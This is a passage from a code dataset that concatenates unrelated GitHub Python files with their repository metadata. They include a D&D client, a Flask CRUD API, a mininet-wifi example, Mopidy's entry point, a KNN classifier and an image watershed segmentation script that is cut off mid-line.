add the character.\n response = requests.put(url + \"/character/\" + _character[1], auth=requests.auth.HTTPBasicAuth(_dci, _pswd), data=json.dumps(body), headers=headerJson)\n\n if (int(response.status_code) > 299) or (int(response.status_code) < 200): #Check the return code for errors adding the character.\n print(\"Error Updating the Level. Please Try Again!\")\n else:\n print(\"Level Updated.\")\n\n pressAny()\n\n#A function which gets the updated character info from the server and returns it.\n# *******************************************************************************\ndef updateCharacter(_character, _dci, _pswd):\n response = requests.get(url + \"/character\", auth=requests.auth.HTTPBasicAuth(_dci, _pswd))\n characters = json.loads(response.text) #Get response and convert to JSON.\n\n for char in characters[\"body\"]: #Update the previous character and return.\n if char[1] == _character[1]:\n _character = char\n\n return _character\n\n#Print the given character in a specific format.\n# ****************************************************************************\ndef printCharacter(_character):\n print(\"Name: \" + _character[1] + \" | Race: \" + _character[2] + \" | Class: \" + _character[3] + \" | Background: \" + _character[4] + \" | Level: \" + str(_character[5]))\n\n#A functin for printing a seperator.\ndef printSeperator():\n print(\"************************************\\n\")\n\n#get the choice from the user and check its range.\n# ****************************************************************************\ndef getChoice(max):\n while True:\n try:\n choice = int(input(\"\\nEnter Choice: \"))\n\n if choice > max: #Check if the choice size is invalid.\n raise Exception(\"More than the max allowed.\")\n\n if choice < 0 or choice == 0: #Raise an exception and print an error if invalid.\n raise Exception(\"Invalid Range.\")\n\n return choice\n except:\n print(\"Invalid Choice, Please Try Again.\")\n\n#A function to pause the program until user input.\n# ****************************************************************************\ndef pressAny():\n input(\"\\nPress Any Key To Continue...\")\n\n#A function for clearing the screen on all operating systems (So the text doesn't move).\n# **************************************************************************************\ndef clearScr():\n os.system('cls') #For Windows\n os.system('clear') #For Linux and Mac\n printLogo()\n\n#A function for printing logos.\n# ****************************************************************************\ndef printLogo():\n print(\"\\n************************************\\n\")\n print(\"██████╗ ██████╗ ██╗ ██████╗ \")\n print(\"██╔══██╗██╔══██╗ ██║ ██╔══██╗\")\n print(\"██║ ██║██████╔╝████████╗██║ ██║\")\n print(\"██║ ██║██╔══██╗██╔═██╔═╝██║ ██║\")\n print(\"██████╔╝██████╔╝██████║ ██████╔╝\")\n print(\"╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ \")\n print(\"\\n************************************\\n\")\n\nif __name__ == '__main__':\n main()\n","repo_name":"NickRL21/DB-D","sub_path":"client_cli/DBnD_Client.py","file_name":"DBnD_Client.py","file_ext":"py","file_size_in_byte":23282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15612392066","text":"from flask import Flask, jsonify, request\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom sqlalchemy import Column, String, Integer, Float\r\nimport os\r\nfrom flask_marshmallow import Marshmallow\r\n# define the flask app\r\n# double underscore pronounced dunderscore\r\nKubrickAPI = Flask(__name__)\r\n# config settings for SQLAlchemy\r\nbasedir = os.path.abspath(os.path.dirname(__file__))\r\n# telling flask (sqlalchemy) where the database file will be stored/accessible to/from\r\nKubrickAPI.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///'+os.path.join(basedir, 'kubes.db')\r\n# configure marshmallow\r\nma = Marshmallow(KubrickAPI)\r\n# initialise our database as a python object\r\ndb = SQLAlchemy(KubrickAPI)\r\n\r\n\r\n@KubrickAPI.cli.command('db_create')\r\ndef db_create():\r\n db.create_all()\r\n print('Database Successfully Created!')\r\n\r\n\r\n@KubrickAPI.cli.command('db_drop')\r\ndef db_drop():\r\n db.drop_all()\r\n print('Database Successfully Dropped!')\r\n\r\n\r\n# need to decorate the function with @\r\n@KubrickAPI.route('/')\r\ndef home():\r\n return jsonify(data='Welcome to this Kubrick API')\r\n\r\n# RESTful APIs - well documented in how to use it\r\n# making another endpoint\r\n# users/consumers of my api must provide a key=value pair\r\n# in the format of:\r\n# p=lastname i.e. p=bossino\r\n# cohort=enum('DP','DE','DM')\r\n\r\n\r\n@KubrickAPI.route('/people', methods=['POST'])\r\ndef people():\r\n name = request.form['lastname']\r\n # retrieve records from a database\r\n peopledata = People.query.filter_by(lname=name).first()\r\n result = people_schema.dump(peopledata)\r\n return jsonify(result)\r\n\r\n\r\n@KubrickAPI.route('/addpeople', methods=['POST', 'GET'])\r\ndef addpeople():\r\n fn = request.form['firstname']\r\n ln = request.form['lastname']\r\n em = request.form['emailaddress']\r\n # insert the data into sqlite database\r\n new_people = People(fname=fn, lname=ln, email=em)\r\n db.session.add(new_people)\r\n db.session.commit()\r\n # result = successfailure flag\r\n # if insert successful then return result\r\n # else return result\r\n return jsonify(data='{} {} has been added to the database'.format(fn, ln)), 201\r\n\r\n\r\n@KubrickAPI.route('/deletepeople', methods=['GET', 'POST'])\r\ndef deletepeople():\r\n name = request.form['lastname']\r\n deleteperson = People.query.filter_by(lname=name).first()\r\n if deleteperson:\r\n db.session.delete(deleteperson)\r\n db.session.commit()\r\n return jsonify(data='{} has been removed'.format(name))\r\n else:\r\n return jsonify(data='{} did not exist in the database'.format(name))\r\n\r\n\r\n# in SQLAlchemy a Model is a table - we are creating the blueprint for our own table called People\r\nclass People(db.Model):\r\n __tablename__ = 'people' # make a table called people\r\n id = Column(Integer, primary_key=True)\r\n fname = Column(String)\r\n lname = Column(String)\r\n email = Column(String, unique=True)\r\n\r\n\r\nclass PeopleSchema(ma.Schema):\r\n class Meta:\r\n fields = ('id', 'fname', 'lname', 'email')\r\n\r\n\r\npeople_schema = PeopleSchema()\r\nif __name__ == '__main__':\r\n KubrickAPI.run()","repo_name":"josephwoodman/crm","sub_path":"KubrickAPI.py","file_name":"KubrickAPI.py","file_ext":"py","file_size_in_byte":3064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32514560618","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport uuid\n\nfrom sam.orchestration.oConfig import VNFI_ASSIGN_MODE\n\n\nclass VNFIIDAssigner(object):\n def __init__(self):\n self._vnfiIDPool = {}\n\n def _assignVNFIID(self, vnfType, serverID):\n if VNFI_ASSIGN_MODE == False:\n vnfiID = uuid.uuid1()\n elif VNFI_ASSIGN_MODE == True:\n if (vnfType, serverID) not in self._vnfiIDPool.keys():\n vnfiID = uuid.uuid1()\n self._vnfiIDPool[(vnfType, serverID)] = vnfiID\n else:\n vnfiID = self._vnfiIDPool[(vnfType, serverID)]\n else:\n raise ValueError(\"Unknown VNFI ASSIGN MODE {0}\".format(VNFI_ASSIGN_MODE))\n\n return vnfiID\n","repo_name":"magaboomchen/SelfAdaptiveMano","sub_path":"sam/orchestration/vnfiIDAssigner.py","file_name":"vnfiIDAssigner.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"16931237196","text":"import os\nimport sys\nsys.path.append(os.path.abspath(os.path.dirname(__file__) + \"../gogogo-hk\"))\nfrom gogogo.geo.LatLng import LatLng\nfrom gogogo.geo.LatLngGroup import LatLngGroup\n\n\nclass Grouper:\n\t\"\"\"\n\tA simple points grouping algorithm (preprocessing)\n\t\"\"\"\n\t\n\tdef __init__(self,radius=0.4,max_walking_distance=1.0):\n\t\tself.groups = []\n\t\t\n\t\tself.tgdi = radius\n\t\tself.threshold = max_walking_distance / 2\n\t\t\n\tdef append(self,latlng):\n\t\t\"\"\"\n\t\t\tAppend a point to groups\n\t\t@param latlng\n\t\t@type latlng gogogo.geo.LatLng\n\t\t\"\"\"\n\t\n\t\t#target = self.selectGroupByGdi(latlng)\n\t\ttarget = self.selectGroupByDist(latlng)\n\t\t\n\t\tif target:\n\t\t\ttarget.append(latlng)\n\t\telse:\n\t\t\tself.groups.append(LatLngGroup([latlng]))\n\t\t\t\n\tdef appendGroup(self,group):\n\t\t\"\"\"\n\t\tAppend a LatLngGroup to Grouper\n\t\t\n\t\t@type group gogogo.geo.LatLngGroup\n\t\t\"\"\"\n\t\tself.groups.append(group)\n\t\t\n\tdef getGroups(self):\n\t\treturn self.groups\n\t\t\n\tdef selectGroupByGdi(self,latlng):\n\t\ttarget = None\n\t\tmin = sys.maxint\n\t\tfor g in self.groups:\n\t\t\tc = g.get_centroid()\n\t\t\tdist = c.distance(latlng)\n\t\t\tif dist < self.threshold:\n\t\t\t\tng = g.dup()\n\t\t\t\tng.append(latlng)\n\t\t\t\tif ng.get_radius() < self.threshold and ng.get_gdi() < self.tgdi:\n\t\t\t\t\tdiff = ng.get_gdi() - g.get_gdi()\n\t\t\t\t\tif diff < min:\n\t\t\t\t\t\tmin = diff\n\t\t\t\t\t\ttarget = g\n\n\t\treturn target\n\t\n\tdef selectGroupByDist(self,latlng):\n\t\ttarget = None\n\n\t\tmin = sys.maxint\n\t\tfor g in self.groups:\n\t\t\tc = g.get_centroid()\n\t\t\tdist = c.distance(latlng)\n\t\t\tif dist < min and dist < self.threshold:\n\t\t\t\ttarget =g \n\t\t\t\tmin = dist\n\t\t\t\t\n\t\treturn target\n\t\t\t\t\t\n\nclass GroupSwapOptimizer:\n\t\"\"\"\n\tOptimize the grouping result by swap points between groups\n\t\"\"\"\n\t\n\tdef __init__(self,grouper):\n\t\tself.grouper = grouper\n\t\t\n\t\t#No. of swap performed\n\t\tself.swap_count = 0\n\t\n\tdef process(self):\n\t\tgroups = self.grouper.groups\n\t\t\n\t\tfor g1 in groups:\n\t\t\tops = []\n\t\t\tfor pt in g1.pts:\n\t\t\t\ttarget = None\n\t\t\t\tdistance = g1.get_centroid().distance(pt)\n\t\t\t\t\n\t\t\t\tfor g2 in groups:\n\t\t\t\t\tif g1 != g2:\n\t\t\t\t\t\tnew_distance = g2.get_centroid().distance(pt)\n\t\t\t\t\t\tif new_distance < distance:\n\t\t\t\t\t\t\tdistance = new_distance\n\t\t\t\t\t\t\ttarget = g2\n\t\t\t\t\n\t\t\t\tif target: #swap\n\t\t\t\t\tops.append( (pt,target) )\n\t\t\t\t\t#g1.remove(pt)\n\t\t\t\t\t#target.append(pt)\n\t\t\t\t\t\n\t\t\tfor o in ops:\n\t\t\t\tg1.remove(o[0])\n\t\t\t\to[1].append(o[0])\n\t\t\t\tself.swap_count+=1\n\t\t\n\t#def process(self):\n\t\t#groups = self.grouper.groups\n\t\t\n\t\t#for g1 in groups:\n\t\t\t\n\t\t\t#gdi1 = g1.get_gdi()\n\t\t\t\n\t\t\t#for pt in g1.pts:\n\t\t\t\t#max_gain = -sys.maxint\n\t\t\t\t#target = None\n\t\t\t\t\n\t\t\t\t#ng1 = g1.dup()\n\t\t\t\t#ng1.remove(pt)\n\t\t\t\t\n\t\t\t\t#ngdi1 = ng1.get_gdi()\n\t\t\t\t\n\t\t\t\t#for g2 in groups:\n\t\t\t\t\t#if g1 != g2 and g2.get_centroid().distance(pt) < self.grouper.threshold:\n\t\t\t\t\t\t#gdi2 = g2.get_gdi()\n\t\t\t\t\t\t\n\t\t\t\t\t\t#ng2 = g2.dup()\n\t\t\t\t\t\t#ng2.append(pt)\n\t\t\t\t\t\t\n\t\t\t\t\t\t#ngdi2 = ng2.get_gdi()\n\t\t\t\t\t\t\n\t\t\t\t\t\t#diff = (gdi1 + gdi2 ) - (ngdi2 + ngdi1)\n\t\t\t\t\t\t#if diff > max_gain:\n\t\t\t\t\t\t\t#max_gain = diff\n\t\t\t\t\t\t\t#target = g2\n\t\t\t\t\n\t\t\t\t#if max_gain > 0: #swap\n\t\t\t\t\t#g1.remove(pt)\n\t\t\t\t\t#gdi1 = g1.get_gdi()\n\t\t\t\t\t#target.append(pt)\t\t\n\t\t\t\t\t#self.swap_count+=1\n\t\t\t\t\n","repo_name":"gogogo/building","sub_path":"Grouper.py","file_name":"Grouper.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"32"} +{"seq_id":"29266611488","text":"import csv\nfrom links_work import links_work\n\n\ndef csv_exporter() -> None:\n \"\"\"\n Функция пополняет csv файл новой строкой, содержащей редиректы через запятую.\n Если файла нет, создает его.\n \"\"\"\n with open('litres.csv', 'a', newline='') as csvfile:\n row = csv.writer(csvfile, delimiter=',')\n for lst in links_work():\n row.writerow(lst)\n\n\nif __name__ == '__main__':\n csv_exporter()\n","repo_name":"JuliaSavochkina/Banners_links_checker","sub_path":"csv_exporter.py","file_name":"csv_exporter.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42456633743","text":"#!/usr/bin/env python\n\n\"Setting the error prob with wmediumd\"\n\nimport sys\n\nfrom mininet.node import Controller\nfrom mininet.log import setLogLevel, info\nfrom mn_wifi.link import wmediumd\nfrom mn_wifi.cli import CLI\nfrom mn_wifi.net import Mininet_wifi\nfrom mn_wifi.wmediumdConnector import error_prob\n\n\ndef topology(args):\n\n \"Create a network.\"\n net = Mininet_wifi(controller=Controller, link=wmediumd,\n wmediumd_mode=error_prob)\n\n info(\"*** Creating nodes\\n\")\n ap1 = net.addAccessPoint('ap1', ssid='new-ssid', mode='a', channel='36',\n position='15,30,0')\n sta1 = net.addStation('sta1', mac='00:00:00:00:00:02', ip='10.0.0.1/8',\n position='10,20,0')\n sta2 = net.addStation('sta2', mac='00:00:00:00:00:03', ip='10.0.0.2/8',\n position='20,50,0')\n sta3 = net.addStation('sta3', mac='00:00:00:00:00:04', ip='10.0.0.3/8',\n position='20,60,10')\n c1 = net.addController('c1')\n\n info(\"*** Configuring nodes\\n\")\n net.configureNodes()\n\n net.addLink(sta1, ap1, error_prob=0.01)\n net.addLink(sta2, ap1, error_prob=0.02)\n net.addLink(sta3, ap1, error_prob=1)\n\n if '-p' not in args:\n net.plotGraph(max_x=100, max_y=100)\n\n info(\"*** Starting network\\n\")\n net.build()\n c1.start()\n ap1.start([c1])\n\n info(\"*** Running CLI\\n\")\n CLI(net)\n\n info(\"*** Stopping network\\n\")\n net.stop()\n\n\nif __name__ == '__main__':\n setLogLevel('info')\n topology(sys.argv)\n","repo_name":"intrig-unicamp/mininet-wifi","sub_path":"examples/wmediumd_error_prob.py","file_name":"wmediumd_error_prob.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":391,"dataset":"github-code","pt":"32"} +{"seq_id":"9224279688","text":"# 404. Sum of Left Leaves\n#\n# Find the sum of all left leaves in a given binary tree.\n#\n# Example:\n#\n# 3\n# / \\\n# 9 20\n# / \\\n# 15 7\n#\n# There are two left leaves in the binary tree, with values 9 and 15 respectively. Return 24.\n#\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\nfrom collections import deque\nclass Solution:\n def sumOfLeftLeaves(self, root: TreeNode) -> int:\n if root==None:\n return 0\n q=deque()\n q.append(root)\n nodes=0\n while q:\n current=q.popleft()\n if current.left and current.left.left==None and current.left.right==None:\n nodes+=(current.left.val)\n if current.left:\n q.append(current.left)\n if current.right:\n q.append(current.right)\n return nodes\n","repo_name":"AmitBaanerjee/Data-Structures-Algo-Practise","sub_path":"leetcode problems/404.py","file_name":"404.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42497043108","text":"vovels = ['a','e','i','o','u']\n\nfound = []\nword = input(\"Provide a phrase to search for vovels: \")\n\nfor letter in word:\n if letter in vovels:\n if letter not in found:\n found.append(letter)\n print(letter)\n","repo_name":"dchmerenko/hf_python","sub_path":"ch02_list_data/vovels3.py","file_name":"vovels3.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29181021161","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 14 09:13:52 2018\r\n\r\n@author: DELL\r\n\"\"\"\r\n\r\nimport KNN\r\nimport Createplot\r\nimport numpy as np\r\n\r\nX,Y = KNN.filetodata('datingTestSet2.txt')\r\nX_norm = KNN.Norm_X(X)\r\nerror_rate = KNN.ClassTest(X_norm,Y)\r\nprint('the test error rate is ' + str(error_rate))\r\n\r\nx_test = np.zeros((1,3))\r\nx_test[0,0] = float(input('每年获得的飞行常客数:'))\r\nx_test[0,1] = float(input('玩视频游戏所消耗的时间百分比:'))\r\nx_test[0,2] = float(input('每周消耗的冰淇淋公升数:'))\r\nx_test_norm = KNN.Norm_x_test(x_test,X)\r\ny = KNN.classify(x_test_norm, X_norm, Y, k=3)\r\nprint('你属于类别:' + str(y))\r\n\r\nCreateplot.plot_scatter(X,Y)\r\n\r\n \r\n ","repo_name":"husthuangzhuo/machine-learning","sub_path":"KNN for date/date-prediction.py","file_name":"date-prediction.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20098588458","text":"from __future__ import absolute_import, print_function, unicode_literals\n\nimport logging\nimport os\nimport signal\nimport sys\n\nfrom mopidy.internal.gi import Gst # noqa: F401\n\ntry:\n # Make GObject's mainloop the event loop for python-dbus\n import dbus.mainloop.glib\n dbus.mainloop.glib.threads_init()\n dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)\nexcept ImportError:\n pass\n\nimport pykka.debug\n\nfrom mopidy import commands, config as config_lib, ext\nfrom mopidy.internal import encoding, log, path, process, versioning\n\nlogger = logging.getLogger(__name__)\n\n\ndef main():\n log.bootstrap_delayed_logging()\n logger.info('Starting Mopidy %s', versioning.get_version())\n\n signal.signal(signal.SIGTERM, process.sigterm_handler)\n # Windows does not have signal.SIGUSR1\n if hasattr(signal, 'SIGUSR1'):\n signal.signal(signal.SIGUSR1, pykka.debug.log_thread_tracebacks)\n\n try:\n registry = ext.Registry()\n\n root_cmd = commands.RootCommand()\n config_cmd = commands.ConfigCommand()\n deps_cmd = commands.DepsCommand()\n\n root_cmd.set(extension=None, registry=registry)\n root_cmd.add_child('config', config_cmd)\n root_cmd.add_child('deps', deps_cmd)\n\n extensions_data = ext.load_extensions()\n\n for data in extensions_data:\n if data.command: # TODO: check isinstance?\n data.command.set(extension=data.extension)\n root_cmd.add_child(data.extension.ext_name, data.command)\n\n args = root_cmd.parse(sys.argv[1:])\n\n config, config_errors = config_lib.load(\n args.config_files,\n [d.config_schema for d in extensions_data],\n [d.config_defaults for d in extensions_data],\n args.config_overrides)\n\n create_core_dirs(config)\n create_initial_config_file(args, extensions_data)\n\n verbosity_level = args.base_verbosity_level\n if args.verbosity_level:\n verbosity_level += args.verbosity_level\n\n log.setup_logging(config, verbosity_level, args.save_debug_log)\n\n extensions = {\n 'validate': [], 'config': [], 'disabled': [], 'enabled': []}\n for data in extensions_data:\n extension = data.extension\n\n # TODO: factor out all of this to a helper that can be tested\n if not ext.validate_extension_data(data):\n config[extension.ext_name] = {'enabled': False}\n config_errors[extension.ext_name] = {\n 'enabled': 'extension disabled by self check.'}\n extensions['validate'].append(extension)\n elif not config[extension.ext_name]['enabled']:\n config[extension.ext_name] = {'enabled': False}\n config_errors[extension.ext_name] = {\n 'enabled': 'extension disabled by user config.'}\n extensions['disabled'].append(extension)\n elif config_errors.get(extension.ext_name):\n config[extension.ext_name]['enabled'] = False\n config_errors[extension.ext_name]['enabled'] = (\n 'extension disabled due to config errors.')\n extensions['config'].append(extension)\n else:\n extensions['enabled'].append(extension)\n\n log_extension_info([d.extension for d in extensions_data],\n extensions['enabled'])\n\n # Config and deps commands are simply special cased for now.\n if args.command == config_cmd:\n schemas = [d.config_schema for d in extensions_data]\n return args.command.run(config, config_errors, schemas)\n elif args.command == deps_cmd:\n return args.command.run()\n\n check_config_errors(config, config_errors, extensions)\n\n if not extensions['enabled']:\n logger.error('No extension enabled, exiting...')\n sys.exit(1)\n\n # Read-only config from here on, please.\n proxied_config = config_lib.Proxy(config)\n\n if args.extension and args.extension not in extensions['enabled']:\n logger.error(\n 'Unable to run command provided by disabled extension %s',\n args.extension.ext_name)\n return 1\n\n for extension in extensions['enabled']:\n try:\n extension.setup(registry)\n except Exception:\n # TODO: would be nice a transactional registry. But sadly this\n # is a bit tricky since our current API is giving out a mutable\n # list. We might however be able to replace this with a\n # collections.Sequence to provide a RO view.\n logger.exception('Extension %s failed during setup, this might'\n ' have left the registry in a bad state.',\n extension.ext_name)\n\n # Anything that wants to exit after this point must use\n # mopidy.internal.process.exit_process as actors can have been started.\n try:\n return args.command.run(args, proxied_config)\n except NotImplementedError:\n print(root_cmd.format_help())\n return 1\n\n except KeyboardInterrupt:\n pass\n except Exception as ex:\n logger.exception(ex)\n raise\n\n\ndef create_core_dirs(config):\n path.get_or_create_dir(config['core']['cache_dir'])\n path.get_or_create_dir(config['core']['config_dir'])\n path.get_or_create_dir(config['core']['data_dir'])\n\n\ndef create_initial_config_file(args, extensions_data):\n \"\"\"Initialize whatever the last config file is with defaults\"\"\"\n\n config_file = args.config_files[-1]\n\n if os.path.exists(path.expand_path(config_file)):\n return\n\n try:\n default = config_lib.format_initial(extensions_data)\n path.get_or_create_file(config_file, mkdir=False, content=default)\n logger.info('Initialized %s with default config', config_file)\n except IOError as error:\n logger.warning(\n 'Unable to initialize %s with default config: %s',\n config_file, encoding.locale_decode(error))\n\n\ndef log_extension_info(all_extensions, enabled_extensions):\n # TODO: distinguish disabled vs blocked by env?\n enabled_names = set(e.ext_name for e in enabled_extensions)\n disabled_names = set(e.ext_name for e in all_extensions) - enabled_names\n logger.info(\n 'Enabled extensions: %s', ', '.join(enabled_names) or 'none')\n logger.info(\n 'Disabled extensions: %s', ', '.join(disabled_names) or 'none')\n\n\ndef check_config_errors(config, errors, extensions):\n fatal_errors = []\n extension_names = {}\n all_extension_names = set()\n\n for state in extensions:\n extension_names[state] = set(e.ext_name for e in extensions[state])\n all_extension_names.update(extension_names[state])\n\n for section in sorted(errors):\n if not errors[section]:\n continue\n\n if section not in all_extension_names:\n logger.warning('Found fatal %s configuration errors:', section)\n fatal_errors.append(section)\n elif section in extension_names['config']:\n del errors[section]['enabled']\n logger.warning('Found %s configuration errors, the extension '\n 'has been automatically disabled:', section)\n else:\n continue\n\n for field, msg in errors[section].items():\n logger.warning(' %s/%s %s', section, field, msg)\n\n if extensions['config']:\n logger.warning('Please fix the extension configuration errors or '\n 'disable the extensions to silence these messages.')\n\n if fatal_errors:\n logger.error('Please fix fatal configuration errors, exiting...')\n sys.exit(1)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n","repo_name":"chasecreates/Lyre","sub_path":"env/lib/python2.7/site-packages/mopidy/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":7888,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"6891915094","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\nfrom game.common import utility\nfrom game.define import msg_define, constant\nfrom game import Game\nimport config\nfrom corelib import spawn_later, log, spawn\nimport copy\nimport time\nimport math\nfrom corelib.gtime import getZeroTime, zero_day_time, current_time\n\n\nclass PlayerChargeDaily(utility.DirtyFlag):\n def __init__(self, owner):\n utility.DirtyFlag.__init__(self)\n self.owner = owner # 拥有者\n\n self.chargeids = [] #已经充值id\n \n self.save_cache = {} #存储缓存\n\n\n def markDirty(self):\n utility.DirtyFlag.markDirty(self)\n if self.owner:\n self.owner.markDirty()\n\n #存库数据\n def to_save_dict(self, forced=False):\n if self.isDirty() or forced or not self.save_cache:\n self.save_cache = {}\n\n self.save_cache[\"chargeids\"] = self.chargeids\n\n\n return self.save_cache\n\n #读库数据初始化\n def load_from_dict(self, data):\n self.chargeids = data.get(\"chargeids\", [])\n\n \n\n #登录初始化下发数据\n def to_init_data(self):\n\n\n init_data = {}\n \n init_data[\"chargeids\"] = self.chargeids\n\n return init_data\n \n def to_wee_hour_data(self):\n return self.to_init_data()\n\n\n def getreward(self,res):\n reward={}\n if res.id not in self.chargeids:\n self.chargeids.append(res.id)\n \n for k,v in res.reward.items():\n reward[k]=reward.get(k,0)+v*2\n else:\n for k,v in res.reward.items():\n reward[k]=reward.get(k,0)+v\n\n if len(self.chargeids)>=res.max:\n self.chargeids=[]\n\n self.markDirty()\n\n\n return reward\n\n\n\n def uninit(slef):\n pass","repo_name":"surery176/pokemon2","sub_path":"code/game/core/playerChargeDaily.py","file_name":"playerChargeDaily.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6024790908","text":"from skimage import io\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport cv2 # use old opencv, last version lacks SIFT, ex: pip install opencv-python==3.4.2.17\nfrom PIL import Image, ImageEnhance\n\nimage_dir = 'your image directory'\ntrain_image_dir = 'train image directory'\n\ndef is_outlier(points, thresh=0.1):\n maximum = np.max(points)\n \n return points / maximum < thresh\n\nimage = io.imread(image_dir)\n\n\n# image preprocessing for fore/backgroung building\nimage = cv2.GaussianBlur(image, (351, 351), cv2.BORDER_DEFAULT)\n\nclahe = cv2.createCLAHE(clipLimit=1.5, tileGridSize=(2, 2))\nlab = cv2.cvtColor(image, cv2.COLOR_BGR2LAB) \nl, a, b = cv2.split(lab) \nl2 = clahe.apply(l) # apply CLAHE to the L-channel\nlab = cv2.merge((l2, a, b))\nimage = cv2.cvtColor(lab, cv2.COLOR_LAB2BGR) \n\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\nthresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)[1]\n\n\n# building fore/backgroung markers\ndist = cv2.distanceTransform(thresh, cv2.DIST_L2, 3)\ncv2.normalize(dist, dist, 0, 1.0, cv2.NORM_MINMAX)\n_, dist = cv2.threshold(dist, 0.25, 1.0, cv2.THRESH_BINARY)\ndist = np.array(dist).astype(np.uint8)\n\nnlabels, labels, stats, centroids = cv2.connectedComponentsWithStats(dist, None, None, \n None, 8, cv2.CV_32S)\nareas = stats[1:, cv2.CC_STAT_AREA]\nresult = np.zeros((labels.shape), np.uint8)\n\nfor i in range(0, nlabels - 1):\n if areas[i] >= 1000: \n result[labels == i + 1] = 255\n\nkernel = np.ones((20, 20),np.uint8)\nresult = cv2.dilate(result, kernel, iterations = 3)\nkernel = np.ones((5, 5),np.uint8)\nresult = cv2.erode(result, kernel, iterations = 15)\nkernel = np.ones((20, 20),np.uint8)\nbackground = cv2.dilate(result, kernel, iterations = 20)\n\nnlabels, labels, stats, centroids = cv2.connectedComponentsWithStats(result, None, None, \n None, 8, cv2.CV_32S)\nareas = stats[1:,cv2.CC_STAT_AREA]\n\noutliers_mask = is_outlier(areas, thresh=0.1)\nresult = np.zeros((labels.shape), np.uint8)\n\nfor i in range(0, nlabels - 1):\n if not outliers_mask[i]: \n result[labels == i + 1] = 255\n\nunknown = cv2.subtract(background, result)\nret, markers = cv2.connectedComponents(result)\nmarkers = markers + 1\nmarkers[unknown == 255] = 0\n\n\n# image preprocessing for watershed\nimage = io.imread(image_dir)\n\nim = Image.fromarray(image)\nenhancer = ImageEnhance.Contrast(im)\nenhanced_im = enhancer.enhance(3.5)\nimage = np.array(enhanced_im)\n\nimage = cv2.medianBlur(image, 7)\n\n\n# watershed\nmarkers = cv2.watershed(image,markers)\nmask = (markers != 1).astype(np.uint8)\n\n\ndef crop_image(img, mask=None): \n if mask is None:\n gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n mask = (gray_img != 0).astype(np.uint8)\n x, y, w, h = cv2.boundingRect(mask)\n \n return (img[y : y + h + 1, x : x + w + 1, :]).astype(np.uint8)\n\n\ntrain_image = io.imread(train_image_dir)\n\n\n# train_image preproc\nim = Image.fromarray(train_image)\nenhancer = ImageEnhance.Sharpness(im)\nenhanced_im = enhancer.enhance(5)\ntrain_image = np.array(enhanced_im)\n\ntrain_gray = cv2.cvtColor(train_image, cv2.COLOR_BGR2GRAY)\ntrain_gray = (train_gray != 0).astype(np.uint8)\ntrain_gray = cv2.medianBlur(train_gray, 5)\nkernel = np.ones((5,5),np.uint8)\ntrain_gray = cv2.dilate(train_gray, kernel, iterations = 1)\n\n\n# building train_markers and train_answers\ntrain_ret, train_markers = cv2.connectedComponents(train_gray)\ntrain_markers = train_markers + 1\n\ntrain_idxes = [1, 2, 3, 4, 5, 7, 6, 9, 8, 10, 12, 13, 14, 15, 11, 16, 18, 20, 17, 19]\ntrain_masks = []\ntrain_answers = ['P1B1', 'P2B2', 'P2B1', 'P1B2', 'P2B2', \n 'P1B2', 'P1B2', 'P0B2', 'P2B1', 'P1B2',\n 'P1B1', 'P3B0', 'P1B3', 'P3B1', 'P2B1',\n 'P1B3', 'P1B1', 'P2B2', 'P2B1', 'P2B1']\n\nfor comp_idx in np.unique(train_markers):\n if comp_idx != 1:\n mask = (train_markers == comp_idx).astype(np.uint8)\n bin_mask = (mask != 0).astype(np.uint8)\n train_masks.append(bin_mask)\n\n\ndef compare_images(idxed_image, train_image, ratio_thresh):\n# comparing images based on number of matched sift key points\n# both idxed and train images should be cropped and masked\n\n sift = cv2.xfeatures2d.SIFT_create(nfeatures=100000)\n kp_1, desc_1 = sift.detectAndCompute(idxed_image, None)\n kp_2, desc_2 = sift.detectAndCompute(train_image, None)\n\n matcher = cv2.DescriptorMatcher_create(cv2.DescriptorMatcher_FLANNBASED)\n knn_matches = matcher.knnMatch(desc_1, desc_2, 2)\n\n good_matches = []\n for m, n in knn_matches:\n if m.distance < ratio_thresh * n.distance:\n good_matches.append(m)\n \n decision_array = np.zeros(len(train_masks))\n\n for match in good_matches:\n x, y = kp_2[match.trainIdx].pt\n\n for bin_mask_idx in range(len(train_masks)):\n x_m, y_m, w_m, h_m = 